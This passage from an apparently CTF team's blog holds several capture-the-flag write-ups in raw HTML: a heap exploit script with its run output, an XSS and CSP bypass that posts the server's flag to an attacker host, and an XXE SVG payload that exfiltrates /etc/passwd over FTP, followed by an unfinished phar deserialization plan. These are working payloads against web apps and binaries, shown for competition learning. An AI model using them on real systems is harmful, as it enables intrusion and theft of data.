class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"libc base is at: %x"</span> <span class="o">%</span> <span class="n">libc_base</span><span class="p">)</span> <span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"free hook is at: %x"</span> <span class="o">%</span> <span class="n">free_hook</span> <span class="p">)</span> <span class="n">payload</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x4444444444444444</span><span class="p">)</span><span class="o">*</span><span class="mi">4</span> <span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">free_hook</span><span class="p">)</span> <span class="n">eat_menu</span><span class="p">(</span><span class="n">io</span><span class="p">)</span> <span class="n">free_buffer</span><span class="p">(</span><span class="n">io</span><span class="p">,</span> <span class="s">"6"</span><span class="p">)</span> <span class="n">alloc_buffer</span><span class="p">(</span><span class="n">io</span><span class="p">,</span> <span class="n">payload</span><span class="o">=</span><span class="n">payload</span><span class="p">)</span> <span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"2"</span><span class="p">)</span> <span class="n">eat_menu</span><span class="p">(</span><span class="n">io</span><span class="p">)</span> <span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"5"</span><span class="p">)</span> <span class="n">one_gadget</span> <span class="o">=</span> <span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0x4526a</span> <span class="n">payload</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="n">one_gadget</span><span class="p">)</span> <span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span> <span class="n">eat_menu</span><span class="p">(</span><span class="n">io</span><span class="p">)</span> <span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"4"</span><span class="p">)</span> <span class="n">eat_menu</span><span class="p">(</span><span class="n">io</span><span class="p">)</span> <span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"0"</span><span class="p">)</span> <span class="n">io</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span> <span class="n">io</span><span class="p">.</span><span class="n">close</span><span class="p">()</span> <span class="n">quit</span><span class="p">()</span> </code></pre></div></div> <h3 id="output-run-local">Output Run (LOCAL)</h3> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ctf@ctf:~/two$ python exploit_edited.py [*] '/home/ctf/two/proof_of_pown2' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3ff000) [*] '/home/ctf/two/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Starting local process '/home/ctf/two/proof_of_pown2': pid 12070 [*] buffer allocated at 0xd01010 [*] buffer allocated at 0xd01110 [*] buffer allocated at 0xd01210 [*] buffer allocated at 0xd01310 [*] buffer allocated at 0xd01410 [*] buffer 1 freed [*] buffer allocated at 0xd01110 [*] buffer 3 freed [*] buffer allocated at 0xd011d0 [*] puts at: 7efef9400690 [*] libc base is at: 7efef9391000 [*] free hook is at: 7efef97577a8 [*] buffer 6 freed [*] buffer allocated at 0xd011d0 [*] Switching to interactive mode Index: $ </code></pre></div></div> <p>Flag: <code class="language-plaintext highlighter-rouge">ptm{5t0p_m355ing_wi7h_bl0ckch4ins}</code></p> Fri, 22 May 2020 13:37:00 +0000 https://jbzteam.github.io/m0lecon2019/M0lecon2019 https://jbzteam.github.io/m0lecon2019/M0lecon2019 Web Crypto Misc Rev Pwn Fore M0lecon2019 Ins'Hack 2019 - Bypasses Everywhere <p>The challenge description was minimal:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>I’m selling very valuable stuff for a reasonable amount of money (for me at least). Go check it out! https://bypasses-everywhere.ctf.insecurity-insa.fr </code></pre></div></div> <h3 id="tldr">TL;DR</h3> <p>This writeup is about our uninteded solution of a very cool Web challenge by <a href="https://twitter.com/HugoDelval">Hugo DELVAL</a>. The intended solution was about triggering an XSS and bypass the CSP via a JSONP endpoint on www.google.com. Our solution abused the <code class="language-plaintext highlighter-rouge">data:[&lt;mediatype&gt;][;base64],&lt;data&gt;</code> URIs to get JavaScript execution. The intended solution can be found <a href="https://github.com/InsecurityAsso/inshack-2019/blob/master/bypasses-everywhere/writeup.md">here</a> and <a href="https://corb3nik.github.io/blog/ins-hack-2019/bypasses-everywhere">here</a>.</p> <h3 id="recon">Recon</h3> <p>The target website was basically made of 2 pages:</p> <ul> <li><code class="language-plaintext highlighter-rouge">/article</code> where you can view articles and you have a bunch of XSSes</li> <li><code class="language-plaintext highlighter-rouge">/admin</code> where you can send a link to the admin and you have an XSS when the link is visited</li> </ul> <p>The various pages were protected with a pretty strict <code class="language-plaintext highlighter-rouge">CSP</code>:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Content-Security-Policy: script-src www.google.com; img-src *; default-src 'none'; style-src 'unsafe-inline' </code></pre></div></div> <h3 id="admins-browser">Admin’s browser</h3> <p>By sending a simple HTTP link to the admin you’re able to notice that his browser is <code class="language-plaintext highlighter-rouge">HeadlessChrome/73</code>, meaning we have to deal no only with the <code class="language-plaintext highlighter-rouge">CSP</code>, but also with the <code class="language-plaintext highlighter-rouge">XSS-Auditor</code>.</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/73.0.3683.75 Safari/537.36 </code></pre></div></div> <h3 id="leaking-admins-page">Leaking admin’s page</h3> <p>In the admin page there was the following text, just after the url <code class="language-plaintext highlighter-rouge">input</code> field:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>I'm usually connecting to this page using http://127.0.0.1:8080, so I'm pretty sure this page is safe :) </code></pre></div></div> <p>So we thought we had a way to leak somehow the content of that page, without breaking the <code class="language-plaintext highlighter-rouge">CSP</code> and triggering the <code class="language-plaintext highlighter-rouge">XSS-Auditor</code>.</p> <p>Finally we managed to do it by injecting a new <code class="language-plaintext highlighter-rouge">&lt;img&gt;</code> tag with as source our domain, followed by the page’s content.</p> <p>We basically sent as URL to the admin: <code class="language-plaintext highlighter-rouge">http://127.0.0.1:8080/admin?url=c"&gt;&lt;img src='https://exfil.jbz.team/a</code></p> <p>The browser was so nice to close the <code class="language-plaintext highlighter-rouge">src</code> attribute once he found the <code class="language-plaintext highlighter-rouge">'</code> in the <code class="language-plaintext highlighter-rouge">I'm usualy ...</code> text and sent us the page’s content in the request’s path, which after some beautifying resulted in:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from flask import request, render_template from flask_csp.csp import csp_header import requests import re with open("flag.txt") as f: FLAG = f.read() def _local_access() -&gt; bool: if request.referrer is not None and not re.match(r"^http://127\.0\.0\.1(:/d+)?/", request.referrer): return False return request.remote_addr == "127.0.0.1" def routes(app, csp): @csp_header(csp) @app.route("/admin") def adm(): url = request.args.get("picture") if _local_access(): with open(__file__) as f: code = f.read() else: code = None return render_template("admin.html", url=url, code=code) @csp_header(csp) @app.route("/article", methods = ["POST"]) def secret(): try: assert _local_access() data = request.get_json(force=True) assert data["secret"] == "No one will never ever access this beauty" requests.post(data["url"], data={ "flg": FLAG, }, timeout=2) return "yeah!" except Exception as e: app.logger.error(e) return </code></pre></div></div> <h3 id="bypassing-everything-and-getting-the-flag">Bypassing <del>everything</del> and getting the <del>FLAG</del></h3> <p>The leaked code is pretty trivial, what is needed to do to get the flag is:</p> <ul> <li>Sending a <code class="language-plaintext highlighter-rouge">POST</code> request to <code class="language-plaintext highlighter-rouge">/article</code> with a specific <code class="language-plaintext highlighter-rouge">secret</code> and the <code class="language-plaintext highlighter-rouge">url</code> where we will receive the <code class="language-plaintext highlighter-rouge">flag</code></li> <li>The request must be sent by the <code class="language-plaintext highlighter-rouge">admin</code> as his IP is <code class="language-plaintext highlighter-rouge">127.0.0.1</code></li> <li>If a referrer is set it must be <code class="language-plaintext highlighter-rouge">127.0.0.1[:port]</code></li> </ul> <p>After some brainstorming we realized that the solution was as easy as submitting a <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">data URI</a> to the admin.</p> <p>We’ve build a <code class="language-plaintext highlighter-rouge">data</code> URI which injected some <code class="language-plaintext highlighter-rouge">JavaScript</code> in a blank page and submitted the required request without a referrer and finally we received the <del>flag</del>.</p> <p><strong>Data URI</strong></p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>data:text/html;base64,PHNjcmlwdD5jb25zb2xlLmxvZygxKTwvc2NyaXB0PjxzY3JpcHQgc3JjPSJodHRwOi8vamJ6LnRlYW06ODA4MC9hLmpzIj48L3NjcmlwdD4= </code></pre></div></div> <p><strong>a.js</strong></p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>x=new XMLHttpRequest(); x.open("POST","http://127.0.0.1:8080/article"); x.setRequestHeader("Content-Type", "application/json"); x.send(JSON.stringify({"secret":"No one will never ever access this beauty","url":"http://exfil.jbz.team/"})); </code></pre></div></div> <p>We received no <code class="language-plaintext highlighter-rouge">FLAG</code> and after some debugging we realized that the browser was trying to send a <code class="language-plaintext highlighter-rouge">preflight</code> request as the <code class="language-plaintext highlighter-rouge">Content-Type</code> was set to <code class="language-plaintext highlighter-rouge">application/json</code>, which was obviously failing as the server was not responding with the required <code class="language-plaintext highlighter-rouge">Allowing-*</code> headers.</p> <h3 id="last-but-not-least-bypass-and-finally-flag">Last but not least bypass and (finally) FLAG</h3> <p>How can we send a <code class="language-plaintext highlighter-rouge">json</code> request without sending a <code class="language-plaintext highlighter-rouge">json</code> request?</p> <p>We went back to the source code and noticed the <code class="language-plaintext highlighter-rouge">data = request.get_json(force=True)</code> line, which brought us to <a href="http://flask.pocoo.org/docs/1.0/api/#flask.Request.get_json">Flask’s documentation</a>:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Parse and return the data as JSON. If the mimetype does not indicate JSON (application/json, see is_json()), this returns None unless force is true. </code></pre></div></div> <p>So we can just set as <code class="language-plaintext highlighter-rouge">Content-Type</code> anything which does not trigger the <code class="language-plaintext highlighter-rouge">preflight</code> mechanism? Let’s try!</p> <p><strong>new a.js</strong></p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>x=new XMLHttpRequest(); x.open("POST","http://127.0.0.1:8080/article"); x.setRequestHeader("Content-Type", "text/plain"); x.send(JSON.stringify({"secret":"No one will never ever access this beauty","url":"http://exfil.jbz.team/"})); </code></pre></div></div> <p>And BOOM, we received the <code class="language-plaintext highlighter-rouge">FLAG</code> via <code class="language-plaintext highlighter-rouge">POST</code> to <code class="language-plaintext highlighter-rouge">https://exfil.jbz.team/</code>!</p> <p><code class="language-plaintext highlighter-rouge">Flag: flg=INSA{f330a6678b14df79b05f63040537b384e4c87c87525de8d396b43250988bdfaa}</code></p> Tue, 07 May 2019 13:37:00 +0000 https://jbzteam.github.io/inshack2019/Bypasses_Everywhere https://jbzteam.github.io/inshack2019/Bypasses_Everywhere Web InsHack2019 Midnight Sun CTF 2019 Quals - Rubenscube <p>The challenge description was minimal, just telling us about an image sharing service:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Sharing is caring. For picture wizard use only. Service: http://ruben-01.play.midnightsunctf.se:8080 </code></pre></div></div> <h3 id="tldr">TL;DR</h3> <p>This challenge was about exploiting an <code class="language-plaintext highlighter-rouge">XXE</code> through an <code class="language-plaintext highlighter-rouge">SVG</code>, then invoke a <code class="language-plaintext highlighter-rouge">PHP Object Injection</code> through the <code class="language-plaintext highlighter-rouge">XXE</code> using <code class="language-plaintext highlighter-rouge">phar://</code> and finally get <code class="language-plaintext highlighter-rouge">RCE</code>.</p> <h3 id="recon">Recon</h3> <p>We run a dir scan on the target to see if any juicy file could be found.</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.gitignore robots.txt index.php upload.php images/ </code></pre></div></div> <p>By visiting the <code class="language-plaintext highlighter-rouge">robots.txt</code> file it was possible to find the path of the zip containing the source code.</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>User-agent: * Disallow: /harming/humans Disallow: /ignoring/human/orders Disallow: /harm/to/self Disallow: source.zip </code></pre></div></div> <p>By visiting the <code class="language-plaintext highlighter-rouge">.gitignore</code> file it was possible to see that an un-accessible file <code class="language-plaintext highlighter-rouge">flag_dispenser</code> was present in the webroot.</p> <p>It took 30 seconds to understand that there was a very easy to trigger <code class="language-plaintext highlighter-rouge">XXE</code> during <code class="language-plaintext highlighter-rouge">SVG</code> file parsing.</p> <figure class="highlight"><pre><code class="language-php" data-lang="php"><span class="cp">&lt;?php</span> <span class="nb">session_start</span><span class="p">();</span> <span class="k">function</span> <span class="n">calcImageSize</span><span class="p">(</span><span class="nv">$file</span><span class="p">,</span> <span class="nv">$mime_type</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="nv">$mime_type</span> <span class="o">==</span> <span class="s2">"image/png"</span><span class="o">||</span><span class="nv">$mime_type</span> <span class="o">==</span> <span class="s2">"image/jpeg"</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$stats</span> <span class="o">=</span> <span class="nb">getimagesize</span><span class="p">(</span><span class="nv">$file</span><span class="p">);</span> <span class="c1">// Doesn't work for svg...</span> <span class="nv">$width</span> <span class="o">=</span> <span class="nv">$stats</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span> <span class="nv">$height</span> <span class="o">=</span> <span class="nv">$stats</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="nv">$xmlfile</span> <span class="o">=</span> <span class="nb">file_get_contents</span><span class="p">(</span><span class="nv">$file</span><span class="p">);</span> <span class="nv">$dom</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">DOMDocument</span><span class="p">();</span> <span class="nv">$dom</span><span class="o">-&gt;</span><span class="nf">loadXML</span><span class="p">(</span><span class="nv">$xmlfile</span><span class="p">,</span> <span class="no">LIBXML_NOENT</span> <span class="o">|</span> <span class="no">LIBXML_DTDLOAD</span><span class="p">);</span> <span class="nv">$svg</span> <span class="o">=</span> <span class="nb">simplexml_import_dom</span><span class="p">(</span><span class="nv">$dom</span><span class="p">);</span> <span class="nv">$attrs</span> <span class="o">=</span> <span class="nv">$svg</span><span class="o">-&gt;</span><span class="nf">attributes</span><span class="p">();</span> <span class="nv">$width</span> <span class="o">=</span> <span class="p">(</span><span class="n">int</span><span class="p">)</span> <span class="nv">$attrs</span><span class="o">-&gt;</span><span class="n">width</span><span class="p">;</span> <span class="nv">$height</span> <span class="o">=</span> <span class="p">(</span><span class="n">int</span><span class="p">)</span> <span class="nv">$attrs</span><span class="o">-&gt;</span><span class="n">height</span><span class="p">;</span> <span class="p">}</span> <span class="k">return</span> <span class="p">[</span><span class="nv">$width</span><span class="p">,</span> <span class="nv">$height</span><span class="p">];</span> <span class="p">}</span> <span class="kd">class</span> <span class="nc">Image</span> <span class="p">{</span> <span class="k">function</span> <span class="n">__construct</span><span class="p">(</span><span class="nv">$tmp_name</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$allowed_formats</span> <span class="o">=</span> <span class="p">[</span> <span class="s2">"image/png"</span> <span class="o">=&gt;</span> <span class="s2">"png"</span><span class="p">,</span> <span class="s2">"image/jpeg"</span> <span class="o">=&gt;</span> <span class="s2">"jpg"</span><span class="p">,</span> <span class="s2">"image/svg+xml"</span> <span class="o">=&gt;</span> <span class="s2">"svg"</span> <span class="p">];</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">tmp_name</span> <span class="o">=</span> <span class="nv">$tmp_name</span><span class="p">;</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">mime_type</span> <span class="o">=</span> <span class="nb">mime_content_type</span><span class="p">(</span><span class="nv">$tmp_name</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">array_key_exists</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="n">mime_type</span><span class="p">,</span> <span class="nv">$allowed_formats</span><span class="p">))</span> <span class="p">{</span> <span class="c1">// I'd rather 500 with pride than 200 without security</span> <span class="k">die</span><span class="p">(</span><span class="s2">"Invalid Image Format!"</span><span class="p">);</span> <span class="p">}</span> <span class="nv">$size</span> <span class="o">=</span> <span class="nf">calcImageSize</span><span class="p">(</span><span class="nv">$tmp_name</span><span class="p">,</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">mime_type</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="nv">$size</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">*</span> <span class="nv">$size</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">&gt;</span> <span class="mi">1337</span> <span class="o">*</span> <span class="mi">1337</span><span class="p">)</span> <span class="p">{</span> <span class="k">die</span><span class="p">(</span><span class="s2">"Image too big!"</span><span class="p">);</span> <span class="p">}</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">extension</span> <span class="o">=</span> <span class="s2">"."</span> <span class="mf">.</span> <span class="nv">$allowed_formats</span><span class="p">[</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="n">mime_type</span><span class="p">];</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">file_name</span> <span class="o">=</span> <span class="nb">sha1</span><span class="p">(</span><span class="nb">random_bytes</span><span class="p">(</span><span class="mi">20</span><span class="p">));</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">folder</span> <span class="o">=</span> <span class="nv">$file_path</span> <span class="o">=</span> <span class="s2">"images/"</span> <span class="mf">.</span> <span class="nb">session_id</span><span class="p">()</span> <span class="mf">.</span> <span class="s2">"/"</span><span class="p">;</span> <span class="p">}</span> <span class="k">function</span> <span class="n">create_thumb</span><span class="p">()</span> <span class="p">{</span> <span class="nv">$file_path</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">folder</span> <span class="mf">.</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">file_name</span> <span class="mf">.</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">extension</span><span class="p">;</span> <span class="nv">$thumb_path</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">folder</span> <span class="mf">.</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">file_name</span> <span class="mf">.</span> <span class="s2">"_thumb.jpg"</span><span class="p">;</span> <span class="nb">system</span><span class="p">(</span><span class="s1">'convert '</span> <span class="mf">.</span> <span class="nv">$file_path</span> <span class="mf">.</span> <span class="s2">" -resize 200x200! "</span> <span class="mf">.</span> <span class="nv">$thumb_path</span><span class="p">);</span> <span class="p">}</span> <span class="k">function</span> <span class="n">__destruct</span><span class="p">()</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">file_exists</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="n">folder</span><span class="p">)){</span> <span class="nb">mkdir</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="n">folder</span><span class="p">);</span> <span class="p">}</span> <span class="nv">$file_dst</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">folder</span> <span class="mf">.</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">file_name</span> <span class="mf">.</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">extension</span><span class="p">;</span> <span class="nb">move_uploaded_file</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="n">tmp_name</span><span class="p">,</span> <span class="nv">$file_dst</span><span class="p">);</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="nf">create_thumb</span><span class="p">();</span> <span class="p">}</span> <span class="p">}</span> <span class="k">new</span> <span class="nc">Image</span><span class="p">(</span><span class="nv">$_FILES</span><span class="p">[</span><span class="s1">'image'</span><span class="p">][</span><span class="s1">'tmp_name'</span><span class="p">]);</span> <span class="nb">header</span><span class="p">(</span><span class="s1">'Location: index.php'</span><span class="p">);</span></code></pre></figure> <h3 id="xxe">XXE</h3> <p>Using the following <code class="language-plaintext highlighter-rouge">SVG</code> file it was possible to confirm the <code class="language-plaintext highlighter-rouge">XXE</code>:</p> <figure class="highlight"><pre><code class="language-xml" data-lang="xml"><span class="cp">&lt;!DOCTYPE svg [ &lt;!ELEMENT svg ANY &gt;</span> <span class="cp">&lt;!ENTITY % sp SYSTEM "http://jbz.team/"&gt;</span> %sp; ]&gt; <span class="nt">&lt;svg</span> <span class="na">viewBox=</span><span class="s">"0 0 400 400"</span> <span class="na">version=</span><span class="s">"1.2"</span> <span class="na">xmlns=</span><span class="s">"http://www.w3.org/2000/svg"</span> <span class="na">style=</span><span class="s">"fill:red"</span><span class="nt">&gt;</span> <span class="nt">&lt;text</span> <span class="na">x=</span><span class="s">"60"</span> <span class="na">y=</span><span class="s">"15"</span> <span class="na">style=</span><span class="s">"fill:black"</span><span class="nt">&gt;</span>PoC for XXE file stealing via SVG rasterization<span class="nt">&lt;/text&gt;</span> <span class="nt">&lt;rect</span> <span class="na">x=</span><span class="s">"0"</span> <span class="na">y=</span><span class="s">"0"</span> <span class="na">rx=</span><span class="s">"10"</span> <span class="na">ry=</span><span class="s">"10"</span> <span class="na">width=</span><span class="s">"400"</span> <span class="na">height=</span><span class="s">"400"</span> <span class="na">style=</span><span class="s">"fill:green;opacity:0.3"</span><span class="nt">/&gt;</span> <span class="nt">&lt;flowRoot</span> <span class="na">font-size=</span><span class="s">"15"</span><span class="nt">&gt;</span> <span class="nt">&lt;flowRegion&gt;</span> <span class="nt">&lt;rect</span> <span class="na">x=</span><span class="s">"10"</span> <span class="na">y=</span><span class="s">"20"</span> <span class="na">width=</span><span class="s">"380"</span> <span class="na">height=</span><span class="s">"370"</span> <span class="na">style=</span><span class="s">"fill:yellow;opacity:0.3"</span><span class="nt">/&gt;</span> <span class="nt">&lt;/flowRegion&gt;</span> <span class="nt">&lt;flowDiv&gt;</span> <span class="nt">&lt;flowPara&gt;&lt;/flowPara&gt;</span> <span class="nt">&lt;/flowDiv&gt;</span> <span class="nt">&lt;/flowRoot&gt;</span> <span class="nt">&lt;/svg&gt;</span></code></pre></figure> <p>At that point we were like “OK, it’s time for a first blood!!11!!1”! We spawned an <code class="language-plaintext highlighter-rouge">FTP</code> and an <code class="language-plaintext highlighter-rouge">HTTP</code> services to retrieve data <code class="language-plaintext highlighter-rouge">OOB</code> and we weaponized the <code class="language-plaintext highlighter-rouge">SVG</code> file.</p> <p><strong>SVG</strong></p> <figure class="highlight"><pre><code class="language-xml" data-lang="xml"><span class="cp">&lt;!DOCTYPE svg [ &lt;!ELEMENT svg ANY &gt;</span> <span class="cp">&lt;!ENTITY % sp SYSTEM "http://jbz.team/evil.xml"&gt;</span> %sp; %param1; ]&gt; <span class="nt">&lt;svg</span> <span class="na">viewBox=</span><span class="s">"0 0 400 400"</span> <span class="na">version=</span><span class="s">"1.2"</span> <span class="na">xmlns=</span><span class="s">"http://www.w3.org/2000/svg"</span> <span class="na">style=</span><span class="s">"fill:red"</span><span class="nt">&gt;</span> <span class="nt">&lt;text</span> <span class="na">x=</span><span class="s">"60"</span> <span class="na">y=</span><span class="s">"15"</span> <span class="na">style=</span><span class="s">"fill:black"</span><span class="nt">&gt;</span>PoC for XXE file stealing via SVG rasterization<span class="nt">&lt;/text&gt;</span> <span class="nt">&lt;rect</span> <span class="na">x=</span><span class="s">"0"</span> <span class="na">y=</span><span class="s">"0"</span> <span class="na">rx=</span><span class="s">"10"</span> <span class="na">ry=</span><span class="s">"10"</span> <span class="na">width=</span><span class="s">"400"</span> <span class="na">height=</span><span class="s">"400"</span> <span class="na">style=</span><span class="s">"fill:green;opacity:0.3"</span><span class="nt">/&gt;</span> <span class="nt">&lt;flowRoot</span> <span class="na">font-size=</span><span class="s">"15"</span><span class="nt">&gt;</span> <span class="nt">&lt;flowRegion&gt;</span> <span class="nt">&lt;rect</span> <span class="na">x=</span><span class="s">"10"</span> <span class="na">y=</span><span class="s">"20"</span> <span class="na">width=</span><span class="s">"380"</span> <span class="na">height=</span><span class="s">"370"</span> <span class="na">style=</span><span class="s">"fill:yellow;opacity:0.3"</span><span class="nt">/&gt;</span> <span class="nt">&lt;/flowRegion&gt;</span> <span class="nt">&lt;flowDiv&gt;</span> <span class="nt">&lt;flowPara&gt;</span><span class="ni">&amp;exfil;</span><span class="nt">&lt;/flowPara&gt;</span> <span class="nt">&lt;/flowDiv&gt;</span> <span class="nt">&lt;/flowRoot&gt;</span> <span class="nt">&lt;/svg&gt;</span></code></pre></figure> <p><strong>evil.xml</strong></p> <figure class="highlight"><pre><code class="language-xml" data-lang="xml"><span class="cp">&lt;!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"&gt;</span> <span class="cp">&lt;!ENTITY % param1 "&lt;!ENTITY exfil SYSTEM 'ftp://jbz.team/%data;'&gt;</span>"&gt;</code></pre></figure> <p>A <code class="language-plaintext highlighter-rouge">php://filter</code> was used in order to exfiltrate data in base64, which prevents problems with new lines, encoding, etc.</p> <p>We uploaded the malicious <code class="language-plaintext highlighter-rouge">SVG</code> and boom we received <code class="language-plaintext highlighter-rouge">/etc/passwd</code> file via <code class="language-plaintext highlighter-rouge">FTP</code>:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/bin/false messagebus:x:101:101::/var/run/dbus:/bin/false </code></pre></div></div> <h3 id="flag">FLAG</h3> <p>We canged the path from <code class="language-plaintext highlighter-rouge">/etc/passswd</code> in the <code class="language-plaintext highlighter-rouge">evil.xml</code> file to <code class="language-plaintext highlighter-rouge">/var/www/html/flag_dispenser</code> and <del>we received the flag</del>.</p> <h3 id="sadness">SADNESS</h3> <p>We spent hours trying to read various files to understand wheredaphrack the flag was, without success. We also asked the organizers if everything was working correctly and the answer was always “yes”.</p> <h3 id="the-idea">THE IDEA</h3> <p>When we were pretty close to give up we remembered about the <code class="language-plaintext highlighter-rouge">phar://</code> handler which in <code class="language-plaintext highlighter-rouge">PHP</code> allows to perform a <code class="language-plaintext highlighter-rouge">PHP Object Injection</code>.</p> <p>To exploit it we needed:</p> <ul> <li>The ability to force the server to visit a phar:// URI, which was possible via the <code class="language-plaintext highlighter-rouge">XXE</code></li> <li>The ability to upload a malicious phar archive on the server, which was possible only if the <code class="language-plaintext highlighter-rouge">PHAR</code> archive was also a valid <code class="language-plaintext highlighter-rouge">JPG</code> file</li> <li>A gadget for our deserialization exploit, which was present in the<code class="language-plaintext highlighter-rouge">system</code> function called in the <code class="language-plaintext highlighter-rouge">__destruct</code> of the <code class="language-plaintext highlighter-rouge">Image</code> class</li> </ul> <h3 id="polyglot-phar">POLYGLOT PHAR</h3> <p>Using some Google-fu we found a <code class="language-plaintext highlighter-rouge">PHP</code> script, which, with very few changes, was used to generate a <code class="language-plaintext highlighter-rouge">PHAR</code> which was also a valid <code class="language-plaintext highlighter-rouge">JPG</code> file.</p> <figure class="highlight"><pre><code class="language-php" data-lang="php"><span class="cp">&lt;?php</span> <span class="kd">class</span> <span class="nc">Image</span> <span class="p">{}</span> <span class="nv">$jpeg_header_size</span> <span class="o">=</span> <span class="s2">"</span><span class="se">\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13</span><span class="s2">"</span><span class="mf">.</span> <span class="s2">"</span><span class="se">\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02</span><span class="s2">"</span><span class="mf">.</span> <span class="s2">"</span><span class="se">\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15</span><span class="s2">"</span><span class="mf">.</span> <span class="s2">"</span><span 